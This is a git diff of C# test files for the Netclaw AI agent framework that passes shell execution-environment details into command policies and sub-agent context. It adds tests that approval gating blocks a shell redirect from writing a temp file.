index 3c097df6d..8fe4d3c7c 100644
--- a/src/Netclaw.Actors.Tests/Jobs/BackgroundJobManagerActorTests.cs
+++ b/src/Netclaw.Actors.Tests/Jobs/BackgroundJobManagerActorTests.cs
@@ -11,6 +11,7 @@
using Netclaw.Actors.Jobs;
using Netclaw.Actors.Protocol;
using Netclaw.Configuration;
+using Netclaw.Security;
using Netclaw.Tests.Utilities;
using Xunit;
using static Netclaw.Actors.Sessions.SessionProtocol;
@@ -35,7 +36,7 @@ protected override void ConfigureAkka(AkkaConfigurationBuilder builder, IService
builder.StartActors((system, registry, _) =>
{
var manager = system.ActorOf(
- Props.Create(() => new BackgroundJobManagerActor(_store, TimeProvider.System)),
+ Props.Create(() => new BackgroundJobManagerActor(_store, TimeProvider.System, ShellExecutionEnvironment.Current)),
"background-job-manager");
registry.Register(manager);
});
@@ -236,7 +237,7 @@ await File.WriteAllTextAsync(
// A fresh manager's PreStart reconciliation marks the orphan Lost and
// must notify the owning session through the gateway.
var manager = Sys.ActorOf(
- Props.Create(() => new BackgroundJobManagerActor(_store, TimeProvider.System)),
+ Props.Create(() => new BackgroundJobManagerActor(_store, TimeProvider.System, ShellExecutionEnvironment.Current)),
"lost-notify-manager");
// Readiness barrier: reconciliation runs before this reply.
@@ -278,7 +279,7 @@ public async Task StartupReconciliation_MarksOrphanedJobsAsLost()
// Create a second manager — its PreStart reconciliation should mark the orphan as Lost
var manager = Sys.ActorOf(
- Props.Create(() => new BackgroundJobManagerActor(_store, TimeProvider.System)),
+ Props.Create(() => new BackgroundJobManagerActor(_store, TimeProvider.System, ShellExecutionEnvironment.Current)),
"reconcile-test-manager");
// Readiness barrier: reconciliation runs before this reply.
@@ -316,7 +317,7 @@ public async Task StartupReconciliation_EmitsAlert_ForLegacyJobMissingTrustField
var sink = new RecordingNotificationSink();
var legacyManager = Sys.ActorOf(
- Props.Create(() => new BackgroundJobManagerActor(store, TimeProvider.System, sink)),
+ Props.Create(() => new BackgroundJobManagerActor(store, TimeProvider.System, ShellExecutionEnvironment.Current, sink)),
"legacy-job-alert-manager");
// Readiness barrier: startup alert emission runs before this reply.
diff --git a/src/Netclaw.Actors.Tests/Sessions/CompactionIntegrationTests.cs b/src/Netclaw.Actors.Tests/Sessions/CompactionIntegrationTests.cs
index 2178997f2..88c5368ab 100644
--- a/src/Netclaw.Actors.Tests/Sessions/CompactionIntegrationTests.cs
+++ b/src/Netclaw.Actors.Tests/Sessions/CompactionIntegrationTests.cs
@@ -856,10 +856,11 @@ await sessionManager.Ask(new SendUserMessage
var hasWorkingContextBlock = allContent.Any(s =>
s.Contains("[working-context]", StringComparison.Ordinal)
- && s.Contains("src/Rect.cs", StringComparison.Ordinal));
+ && s.Contains("src/Rect.cs", StringComparison.Ordinal)
+ && s.Contains("execution_environment:", StringComparison.Ordinal));
Assert.True(hasWorkingContextBlock,
- $"Expected the post-compaction LLM call to include a [working-context] block mentioning src/Rect.cs. All messages:\n{string.Join("\n---\n", allContent)}");
+ $"Expected the post-compaction LLM call to include a [working-context] block mentioning src/Rect.cs and the execution environment. All messages:\n{string.Join("\n---\n", allContent)}");
}
[Fact]
@@ -881,7 +882,7 @@ public async Task Cache_prefix_is_stable_across_two_turns_in_same_session()
TotalTokenCount = 120
};
- var sessionId = new SessionId("test-channel/cache-prefix-stability");
+ var sessionId = new SessionId("console/cache-prefix-stability");
var sessionManager = ActorRegistry.Get();
var subscriber = CreateTestProbe("cache-prefix-sub");
@@ -924,6 +925,15 @@ await sessionManager.Ask(new SendUserMessage
var turn1 = mainModelCalls[0];
var turn2 = mainModelCalls[1];
+ var turn1Environment = Assert.Single(
+ turn1,
+ message => (message.Text ?? string.Empty)
+ .Contains("execution_environment:", StringComparison.Ordinal));
+ Assert.Contains(
+ turn2,
+ message => message.Role == turn1Environment.Role
+ && message.Text == turn1Environment.Text);
+
var commonPrefix = 0;
var minCount = Math.Min(turn1.Count, turn2.Count);
for (var i = 0; i < minCount; i++)
diff --git a/src/Netclaw.Actors.Tests/Sessions/LlmSessionTestExtensions.cs b/src/Netclaw.Actors.Tests/Sessions/LlmSessionTestExtensions.cs
index 643ad0210..6d4e22a1a 100644
--- a/src/Netclaw.Actors.Tests/Sessions/LlmSessionTestExtensions.cs
+++ b/src/Netclaw.Actors.Tests/Sessions/LlmSessionTestExtensions.cs
@@ -22,7 +22,9 @@ internal static class LlmSessionTestExtensions
public static IServiceCollection AddLlmSessionCompositeRecords(this IServiceCollection services)
{
services.TryAddSingleton(TimeProvider.System);
+ services.TryAddSingleton(_ => ShellExecutionEnvironment.Current);
services.TryAddSingleton();
+ services.TryAddSingleton();
services.TryAddSingleton();
services.TryAddSingleton(sp => new SessionServices(
sp.GetRequiredService(),
diff --git a/src/Netclaw.Actors.Tests/Sessions/SubAgentSpawnIntegrationTests.cs b/src/Netclaw.Actors.Tests/Sessions/SubAgentSpawnIntegrationTests.cs
index f2da5b4de..e7d070a30 100644
--- a/src/Netclaw.Actors.Tests/Sessions/SubAgentSpawnIntegrationTests.cs
+++ b/src/Netclaw.Actors.Tests/Sessions/SubAgentSpawnIntegrationTests.cs
@@ -147,7 +147,7 @@ You specialize in daemon health checks.
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy());
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var subAgentRegistry = new SubAgentDefinitionRegistry();
var subAgentPaths = new NetclawPaths(Path.Combine(Path.GetTempPath(), $"netclaw-subagents-{Guid.NewGuid():N}"));
subAgentPaths.EnsureDirectoriesExist();
@@ -180,6 +180,7 @@ You specialize in daemon health checks.
promptProvider,
new WorkingContextSnapshotProvider(
new GitWorkingContextInspector(TimeProvider.System),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance),
Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance);
@@ -263,7 +264,9 @@ await sessionManager.Ask(new SendUserMessage
&& m.Text.Contains("You are a summarizer.", StringComparison.Ordinal)
&& m.Text.Contains("headless, non-interactive worker", StringComparison.Ordinal));
Assert.Contains(subagentCall, m =>
- m.Role == Microsoft.Extensions.AI.ChatRole.User && string.Equals(m.Text, "Summarize src/README.md", StringComparison.Ordinal));
+ m.Role == Microsoft.Extensions.AI.ChatRole.User
+ && (m.Text?.Contains("execution_environment:", StringComparison.Ordinal) ?? false)
+ && (m.Text?.Contains("Task:\nSummarize src/README.md", StringComparison.Ordinal) ?? false));
Assert.DoesNotContain(subagentCall, m =>
m.Role == Microsoft.Extensions.AI.ChatRole.System && (m.Text?.Contains("test assistant with subagent support", StringComparison.Ordinal) ?? false));
Assert.DoesNotContain(subagentCall, m =>
@@ -539,16 +542,14 @@ await sessionManager.Ask(new SendUserMessage
&& (m.Text?.Contains("You specialize in daemon health checks.", StringComparison.Ordinal) ?? false));
Assert.Contains(subagentCall, m =>
m.Role == Microsoft.Extensions.AI.ChatRole.User
- && string.Equals(m.Text, "check daemon health", StringComparison.Ordinal));
+ && (m.Text?.Contains("execution_environment:", StringComparison.Ordinal) ?? false)
+ && (m.Text?.Contains("Task:\ncheck daemon health", StringComparison.Ordinal) ?? false));
Assert.DoesNotContain(subagentCall, m =>
m.Role == Microsoft.Extensions.AI.ChatRole.System
&& (m.Text?.Contains(MainIdentityMarker, StringComparison.Ordinal) ?? false));
Assert.DoesNotContain(subagentCall, m =>
m.Role == Microsoft.Extensions.AI.ChatRole.System
&& (m.Text?.Contains(AgentsLayerMarker, StringComparison.Ordinal) ?? false));
- Assert.DoesNotContain(subagentCall, m =>
- m.Role == Microsoft.Extensions.AI.ChatRole.User
- && (m.Text?.Contains("Context:", StringComparison.Ordinal) ?? false));
}
// NOTE: routing the spawn lifecycle to session.log is no longer per-path-wired — the
diff --git a/src/Netclaw.Actors.Tests/Sessions/WorkingContextSnapshotTests.cs b/src/Netclaw.Actors.Tests/Sessions/WorkingContextSnapshotTests.cs
index d079e2f38..ec50dc9c1 100644
--- a/src/Netclaw.Actors.Tests/Sessions/WorkingContextSnapshotTests.cs
+++ b/src/Netclaw.Actors.Tests/Sessions/WorkingContextSnapshotTests.cs
@@ -7,6 +7,7 @@
using Microsoft.Extensions.Time.Testing;
using Netclaw.Actors.Sessions;
using Netclaw.Configuration;
+using Netclaw.Security;
namespace Netclaw.Actors.Tests.Sessions;
@@ -86,6 +87,7 @@ public async Task Public_audience_does_not_inspect_or_render_git()
var inspector = new RecordingGitInspector();
var provider = new WorkingContextSnapshotProvider(
inspector,
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance);
var context = WorkingContext.Empty.WithProjectDirectory("/path/that/does/not/exist");
@@ -105,6 +107,7 @@ public async Task Missing_project_directory_reports_unavailable_for_personal_aud
var inspector = new RecordingGitInspector();
var provider = new WorkingContextSnapshotProvider(
inspector,
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance);
var context = WorkingContext.Empty.WithProjectDirectory("/path/that/does/not/exist");
@@ -117,6 +120,68 @@ public async Task Missing_project_directory_reports_unavailable_for_personal_aud
Assert.Equal("project directory does not exist", unavailable.Reason);
Assert.Equal(0, inspector.InvocationCount);
Assert.Contains("status: unavailable", snapshot.ToContextBlock());
+ Assert.Contains("execution_environment:", snapshot.ToContextBlock());
+ }
+
+ [Fact]
+ public async Task Personal_without_project_still_receives_execution_environment()
+ {
+ var inspector = new RecordingGitInspector();
+ var provider = new WorkingContextSnapshotProvider(
+ inspector,
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.PowerShell()),
+ NullLogger.Instance);
+
+ var snapshot = await provider.CreateAsync(
+ WorkingContext.Empty,
+ TrustAudience.Personal,
+ TestContext.Current.CancellationToken);
+
+ Assert.IsType(snapshot.Git);
+ Assert.Equal(0, inspector.InvocationCount);
+ var block = snapshot.ToContextBlock();
+ Assert.Contains("platform: windows", block);
+ Assert.Contains("shell: pwsh", block);
+ Assert.Contains("preferred_grammar: powershell", block);
+ Assert.Contains("path_style: windows", block);
+ }
+
+ [Fact]
+ public async Task Unexpected_git_failure_preserves_execution_environment()
+ {
+ var provider = new WorkingContextSnapshotProvider(
+ new ThrowingGitInspector(),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.PowerShell()),
+ NullLogger.Instance);
+ var context = WorkingContext.Empty.WithProjectDirectory(Path.GetTempPath());
+
+ var snapshot = await provider.CreateAsync(
+ context,
+ TrustAudience.Personal,
+ TestContext.Current.CancellationToken);
+
+ var unavailable = Assert.IsType(snapshot.Git);
+ Assert.Equal("working context inspection failed", unavailable.Reason);
+ Assert.NotNull(snapshot.ExecutionEnvironment);
+ Assert.Contains("preferred_grammar: powershell", snapshot.ToContextBlock());
+ }
+
+ [Fact]
+ public async Task Team_without_shell_access_omits_execution_environment()
+ {
+ var inspector = new RecordingGitInspector();
+ var provider = new WorkingContextSnapshotProvider(
+ inspector,
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
+ NullLogger.Instance);
+
+ var snapshot = await provider.CreateAsync(
+ WorkingContext.Empty,
+ TrustAudience.Team,
+ TestContext.Current.CancellationToken);
+
+ Assert.Null(snapshot.ExecutionEnvironment);
+ Assert.Equal(string.Empty, snapshot.ToContextBlock());
}
[Fact]
@@ -338,6 +403,7 @@ public async Task Unavailable_reason_is_single_line_and_bounded_before_rendering
var reason = new string('x', 300) + "\ncredential-bearing second line";
var provider = new WorkingContextSnapshotProvider(
new FixedGitInspector(new GitWorkingContextInspection.Unavailable(reason)),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance);
var context = WorkingContext.Empty.WithProjectDirectory(Path.GetTempPath());
@@ -396,6 +462,13 @@ public Task InspectAsync(
CancellationToken cancellationToken) => Task.FromResult(result);
}
+ private sealed class ThrowingGitInspector : IGitWorkingContextInspector
+ {
+ public Task InspectAsync(
+ string projectDirectory,
+ CancellationToken cancellationToken) => throw new InvalidOperationException("unexpected git failure");
+ }
+
private sealed record TimedGitResult(TimeSpan Elapsed, GitCommandResult Result);
private sealed class SequenceGitCommandRunner : IGitCommandRunner
diff --git a/src/Netclaw.Actors.Tests/SubAgents/SpawnAgentStreamingTests.cs b/src/Netclaw.Actors.Tests/SubAgents/SpawnAgentStreamingTests.cs
index 02353de32..960a87bdf 100644
--- a/src/Netclaw.Actors.Tests/SubAgents/SpawnAgentStreamingTests.cs
+++ b/src/Netclaw.Actors.Tests/SubAgents/SpawnAgentStreamingTests.cs
@@ -52,7 +52,7 @@ public async Task Spawn_agent_streams_activity_through_executor_dispatch_to_watc
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy());
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
// The sub-agent resolves "file_read" from this registry; the fake LLM
// never calls it — it just has to resolve so the spawn proceeds.
@@ -77,6 +77,7 @@ public async Task Spawn_agent_streams_activity_through_executor_dispatch_to_watc
new StaticSystemPromptProvider("You are a summarizer."),
new WorkingContextSnapshotProvider(
new GitWorkingContextInspector(TimeProvider.System),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance),
NullLogger.Instance);
@@ -145,7 +146,7 @@ public async Task Spawn_agent_self_monitoring_survives_quiet_window_after_first_
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy());
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var registry = new ToolRegistry();
registry.Register(new FakeNetclawTool("file_read", "stub content"));
@@ -169,6 +170,7 @@ public async Task Spawn_agent_self_monitoring_survives_quiet_window_after_first_
new StaticSystemPromptProvider("You are a summarizer."),
new WorkingContextSnapshotProvider(
new GitWorkingContextInspector(TimeProvider.System),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance),
NullLogger.Instance);
diff --git a/src/Netclaw.Actors.Tests/SubAgents/SubAgentActorTests.cs b/src/Netclaw.Actors.Tests/SubAgents/SubAgentActorTests.cs
index 229e3576f..7f318ee20 100644
--- a/src/Netclaw.Actors.Tests/SubAgents/SubAgentActorTests.cs
+++ b/src/Netclaw.Actors.Tests/SubAgents/SubAgentActorTests.cs
@@ -916,7 +916,7 @@ private static ToolAccessPolicy CreateApprovalRequiredPolicy()
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy());
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
}
private static string? GetLastToolResult(FakeChatClient fakeClient, string callId)
@@ -1206,7 +1206,7 @@ public async Task Tool_execution_uses_session_scope_for_mcp_invocation()
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy());
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var definition = CreateDefinition([fakePlaywrightTool]);
var agent = Sys.ActorOf(SubAgentActor.CreateProps(definition, fakeClient, policy, approvalService: null));
diff --git a/src/Netclaw.Actors.Tests/SubAgents/SubAgentSpawnObservabilityTests.cs b/src/Netclaw.Actors.Tests/SubAgents/SubAgentSpawnObservabilityTests.cs
index 7a44c6a27..d34ae995f 100644
--- a/src/Netclaw.Actors.Tests/SubAgents/SubAgentSpawnObservabilityTests.cs
+++ b/src/Netclaw.Actors.Tests/SubAgents/SubAgentSpawnObservabilityTests.cs
@@ -10,6 +10,7 @@
using Netclaw.Actors.SubAgents;
using Netclaw.Actors.Tools;
using Netclaw.Configuration;
+using Netclaw.Security;
using Netclaw.Tests.Utilities;
using Netclaw.Tools;
using Xunit;
@@ -52,6 +53,7 @@ public async Task Spawner_missing_session_context_logs_lifecycle_under_session_s
promptProvider: null!,
workingContextSnapshots: new WorkingContextSnapshotProvider(
new GitWorkingContextInspector(TimeProvider.System),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance),
logger);
diff --git a/src/Netclaw.Actors.Tests/SubAgents/SubAgentSpawnerTests.cs b/src/Netclaw.Actors.Tests/SubAgents/SubAgentSpawnerTests.cs
index 39a736dff..da934d8c2 100644
--- a/src/Netclaw.Actors.Tests/SubAgents/SubAgentSpawnerTests.cs
+++ b/src/Netclaw.Actors.Tests/SubAgents/SubAgentSpawnerTests.cs
@@ -48,11 +48,12 @@ public async Task Spawn_async_propagates_parent_resolved_cwd_on_run_message()
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy()),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)),
approvalService: null,
new StaticSystemPromptProvider("You are a summarizer."),
new WorkingContextSnapshotProvider(
new GitWorkingContextInspector(TimeProvider.System),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance),
NullLogger.Instance);
@@ -85,6 +86,12 @@ public async Task Spawn_async_propagates_parent_resolved_cwd_on_run_message()
Assert.Equal("/tmp/netclaw/sessions/parent", bound.SessionDirectory);
Assert.Equal("/home/user/repos/foo", run.Scope.Authority.ProjectDirectory);
Assert.Equal("/home/user/repos/foo", run.Scope.Authority.InheritedCwd);
+ var executionEnvironment = Assert.IsType(
+ run.Scope.InitialWorkingSnapshot.ExecutionEnvironment);
+ Assert.Equal(
+ ShellExecutionEnvironment.Current.Grammar.ToString(),
+ executionEnvironment.Grammar,
+ ignoreCase: true);
childProbe.Reply(new SubAgentResult
{
@@ -179,11 +186,12 @@ public async Task Spawn_async_ignores_definition_tool_metadata_for_runtime_tool_
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy()),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)),
approvalService: null,
new StaticSystemPromptProvider("You are a summarizer."),
new WorkingContextSnapshotProvider(
new GitWorkingContextInspector(TimeProvider.System),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance),
NullLogger.Instance);
@@ -522,11 +530,12 @@ public async Task Spawned_sub_agent_bills_its_llm_calls_to_session_metrics()
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy()),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)),
approvalService: null,
new StaticSystemPromptProvider("You are a summarizer."),
new WorkingContextSnapshotProvider(
new GitWorkingContextInspector(TimeProvider.System),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance),
NullLogger.Instance,
sessionMetrics: metrics);
@@ -562,6 +571,7 @@ public async Task Spawned_sub_agent_bills_its_llm_calls_to_session_metrics()
private static SubAgentSpawner CreateSpawner()
=> CreateSpawner(new WorkingContextSnapshotProvider(
new GitWorkingContextInspector(TimeProvider.System),
+ new ExecutionEnvironmentInspector(ShellExecutionEnvironment.Current),
NullLogger.Instance));
private static SubAgentSpawner CreateSpawner(IWorkingContextSnapshotProvider workingContextSnapshots)
@@ -579,7 +589,7 @@ private static SubAgentSpawner CreateSpawner(IWorkingContextSnapshotProvider wor
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
UsedStrictFallback: false),
- new ShellCommandPolicy()),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)),
approvalService: null,
new StaticSystemPromptProvider("You are an inspector."),
workingContextSnapshots,
diff --git a/src/Netclaw.Actors.Tests/Tools/DispatchingToolExecutorTests.cs b/src/Netclaw.Actors.Tests/Tools/DispatchingToolExecutorTests.cs
index 0e4dc0dfc..a0cc41c07 100644
--- a/src/Netclaw.Actors.Tests/Tools/DispatchingToolExecutorTests.cs
+++ b/src/Netclaw.Actors.Tests/Tools/DispatchingToolExecutorTests.cs
@@ -33,7 +33,7 @@ public DispatchingToolExecutorTests()
};
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(baseConfig, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(baseConfig, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
_executor = new DispatchingToolExecutor(
registry,
new ToolAccessPolicy(
@@ -42,7 +42,8 @@ public DispatchingToolExecutorTests()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
var restrictedConfig = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed };
restrictedConfig.AudienceProfiles.Personal.ApprovalPolicy = new ToolApprovalConfig
@@ -55,7 +56,7 @@ public DispatchingToolExecutorTests()
restrictedConfig.AudienceProfiles.Team.AllowedTools = ["file_read", "file_list", "file_write", "file_edit", "attach_file", "shell_execute"];
restrictedConfig.AudienceProfiles.Public.AllowedTools = ["file_read", "file_list", "attach_file"];
var restrictedRegistry = new ToolRegistry();
- restrictedRegistry.WithFirstPartyTools(restrictedConfig, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ restrictedRegistry.WithFirstPartyTools(restrictedConfig, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
_restrictedExecutor = new DispatchingToolExecutor(
restrictedRegistry,
new ToolAccessPolicy(
@@ -64,7 +65,8 @@ public DispatchingToolExecutorTests()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
}
[Fact]
@@ -329,7 +331,7 @@ public async Task Shell_execute_is_denied_when_missing_from_personal_audience_pr
config.AudienceProfiles.Personal.AllowedTools = ["file_read", "file_write", "attach_file"];
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var executor = new DispatchingToolExecutor(
registry,
@@ -339,7 +341,8 @@ public async Task Shell_execute_is_denied_when_missing_from_personal_audience_pr
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
var toolCall = new FunctionCallContent(
"call-shell-profile-deny", "shell_execute",
@@ -364,7 +367,7 @@ public async Task Shell_execute_is_denied_when_shell_mode_is_off_even_in_persona
config.AudienceProfiles.Personal.AllowedTools.Add("shell_execute");
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var executor = new DispatchingToolExecutor(
registry,
@@ -374,7 +377,8 @@ public async Task Shell_execute_is_denied_when_shell_mode_is_off_even_in_persona
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.Off,
- UsedStrictFallback: false)));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
var toolCall = new FunctionCallContent(
"call-shell-off", "shell_execute",
@@ -530,12 +534,13 @@ public void Team_profile_exposes_file_tools_and_hides_shell_and_webhooks()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var registry = new ToolRegistry();
var paths = new NetclawPaths(Path.Combine(Path.GetTempPath(), $"netclaw-webhook-tools-{Guid.NewGuid():N}"));
paths.EnsureDirectoriesExist();
- registry.WithFirstPartyTools(config, paths: paths, pathPolicy: new ToolPathPolicy([]), shellCommandPolicy: new ShellCommandPolicy(), toolAccessPolicy: policy, webhookRouteStore: new WebhookRouteStore(paths));
+ registry.WithFirstPartyTools(config, paths: paths, pathPolicy: new ToolPathPolicy([]), shellCommandPolicy: new ShellCommandPolicy(ShellExecutionEnvironment.Current), toolAccessPolicy: policy, webhookRouteStore: new WebhookRouteStore(paths));
Assert.True(policy.IsToolExposed(registry.GetByName("file_read")!, TrustAudience.Team));
Assert.True(policy.IsToolExposed(registry.GetByName("file_list")!, TrustAudience.Team));
@@ -562,12 +567,13 @@ public void Public_profile_exposes_read_tools_and_hides_mutation_tools()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current));
var registry = new ToolRegistry();
var paths = new NetclawPaths(Path.Combine(Path.GetTempPath(), $"netclaw-public-tools-{Guid.NewGuid():N}"));
paths.EnsureDirectoriesExist();
- registry.WithFirstPartyTools(config, paths: paths, pathPolicy: new ToolPathPolicy([]), shellCommandPolicy: new ShellCommandPolicy(), toolAccessPolicy: policy, webhookRouteStore: new WebhookRouteStore(paths));
+ registry.WithFirstPartyTools(config, paths: paths, pathPolicy: new ToolPathPolicy([]), shellCommandPolicy: new ShellCommandPolicy(ShellExecutionEnvironment.Current), toolAccessPolicy: policy, webhookRouteStore: new WebhookRouteStore(paths));
Assert.True(policy.IsToolExposed(registry.GetByName("file_read")!, TrustAudience.Public));
Assert.True(policy.IsToolExposed(registry.GetByName("file_list")!, TrustAudience.Public));
@@ -598,7 +604,8 @@ public async Task Mcp_tool_is_denied_when_server_not_allowed_for_audience()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)));
+ UsedStrictFallback: false),
+ new Netclaw.Security.ShellCommandPolicy(Netclaw.Security.ShellExecutionEnvironment.Current)));
var toolCall = new FunctionCallContent("call-mcp-deny", "memorizer/search_memories", ToolInput.Empty());
var context = TestToolExecutionContext.CreateBound("slack/thread-1", null, new TestToolExecutionContextOptions
@@ -625,7 +632,7 @@ public async Task One_time_approval_allows_immediate_retry_only()
};
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var system = ActorSystem.Create($"tool-approval-{Guid.NewGuid():N}");
try
@@ -640,7 +647,8 @@ public async Task One_time_approval_allows_immediate_retry_only()
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
- UsedStrictFallback: false)),
+ UsedStrictFallback: false),
+ new ShellCommandPolicy(ShellExecutionEnvironment.Current)),
approvalService);
var toolCall = new FunctionCallContent(
@@ -682,6 +690,69 @@ await Assert.ThrowsAsync(() =>
}
}
+ [Fact]
+ public async Task Static_redirect_side_effect_requires_approval_before_file_write()
+ {
+ var config = new ToolConfig { ShellMode = ShellExecutionMode.HostAllowed };
+ config.AudienceProfiles.Personal.ApprovalPolicy = new ToolApprovalConfig
+ {
+ ToolOverrides = new Dictionary(StringComparer.Ordinal)
+ {
+ ["shell_execute"] = ToolApprovalMode.Approval
+ }
+ };
+
+ var environment = ShellExecutionEnvironment.Current;
+ var registry = new ToolRegistry();
+ registry.WithFirstPartyTools(
+ config,
+ new NetclawPaths(),
+ new ToolPathPolicy([]),
+ new ShellCommandPolicy(environment));
+
+ var system = ActorSystem.Create($"redirect-approval-{Guid.NewGuid():N}");
+ var outputPath = Path.Combine(Path.GetTempPath(), $"netclaw-redirect-{Guid.NewGuid():N}.txt");
+ try
+ {
+ var approvalActor = system.ActorOf(ToolApprovalActor.CreateProps(), "tool-approval");
+ var executor = new DispatchingToolExecutor(
+ registry,
+ new ToolAccessPolicy(
+ config,
+ new EffectivePolicyDefaults(
+ DeploymentPosture.Personal,
+ TrustAudience.Personal,
+ ShellExecutionMode.HostAllowed,
+ UsedStrictFallback: false),
+ new ShellCommandPolicy(environment)),
+ new AkkaToolApprovalService(new StubRequiredActor(approvalActor)));
+ var context = TestToolExecutionContext.CreateBound(
+ "signalr/redirect-approval",
+ null,
+ new TestToolExecutionContextOptions
+ {
+ Audience = TrustAudience.Personal,
+ Boundary = TrustBoundary.TrustedInstance,
+ ChannelType = "signalr",
+ InteractiveApproval = TestToolExecutionContext.InteractiveApproval(true)
+ });
+ var toolCall = new FunctionCallContent(
+ "call-redirect-approval",
+ "shell_execute",
+ ToolInput.Create("Command", $"echo owned > \"{outputPath}\""));
+
+ await Assert.ThrowsAsync(() =>
+ executor.ExecuteAsync(toolCall, context, TestContext.Current.CancellationToken));
+ Assert.False(File.Exists(outputPath));
+ }
+ finally
+ {
+ await system.Terminate();
+ if (File.Exists(outputPath))
+ File.Delete(outputPath);
+ }
+ }
+
[Fact]
public async Task One_time_approval_bypasses_policy_for_matching_shell_patterns()
{
@@ -695,7 +766,7 @@ public async Task One_time_approval_bypasses_policy_for_matching_shell_patterns(
};
var registry = new ToolRegistry();
- registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy());
+ registry.WithFirstPartyTools(config, new NetclawPaths(), new ToolPathPolicy([]), new ShellCommandPolicy(ShellExecutionEnvironment.Current));
var executor = new DispatchingToolExecutor(
registry,
@@ -705,7 +776,8 @@ public async Task One_time_approval_bypasses_policy_for_matching_shell_patterns(
DeploymentPosture.Personal,
TrustAudience.Personal,
ShellExecutionMode.HostAllowed,
